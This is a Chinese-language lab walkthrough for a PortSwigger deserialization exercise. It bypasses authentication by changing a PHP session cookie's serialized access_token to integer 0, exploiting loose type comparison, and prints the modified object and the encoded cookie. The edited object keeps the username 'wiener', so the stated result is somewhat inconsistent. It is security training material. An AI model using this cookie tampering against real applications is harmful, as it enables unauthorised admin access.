从业者-修改序列化数据类型
# 实验室:修改序列化数据类型
# 题目
此实验室使用基于序列化的会话机制,因此容易受到 身份验证绕过 的攻击。若要解决该实验,请编辑会话 cookie 中的序列化对象以访问administrator
帐户。然后,删除用户carlos
。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
要访问另一个用户的帐户,你需要利用 PHP 比较不同数据类型时的特性。
- name: 实验室-从业者
desc: 修改序列化数据类型 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
使用题目中提供的用户名和密码进行登录。
登录之后,通过 BurpSuite 捕获一个请求数据包,在 Cookie 中可以看到session
字段,参数值为一段经过 Base64 编码的值。
转到 BurpSuite 的 “Decoder” 功能模块,对 Cookie 依次进行 URL 解码和 Base64 解码,得到一个 PHP 序列化对象。
根据理论章节中所学的知识,本次的目标应该是access_token
参数,我们需要修改它的数据类型。
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"z2z76l0vlaedj017ybwuycwlw7crz1uk";}
1
我们需要运行 PHP 代码来生成序列化对象,如果你还没有搭建 PHP 运行环境,则可以使用 PHP在线工具 (opens new window)。
经过测试,序列化之后的 数值类型 用字符i
来表示,并且没有长度。
修改access_token
的数据类型为数值i
,删除中间的长度32
,将值修改为0
。
// 修改前
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"z2z76l0vlaedj017ybwuycwlw7crz1uk";}
// 修改后
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";i:0;}
1
2
3
4
5
2
3
4
5
然后进行 Base64 和 URL 编码。
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7fQ==
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7fQ%3d%3d
1
2
3
2
3
覆盖原有 Cookie,然后刷新网页。
刷新网页之后,当前登录的账户还是wiener
,但发现右上角多了一个按钮 “Admin panel”,点击它。
成功利用反序列化漏洞实现了 权限验证绕过。
点击 “Delete” 按钮删除 carlos 账户。
删除成功,实验完成。
编辑 (opens new window)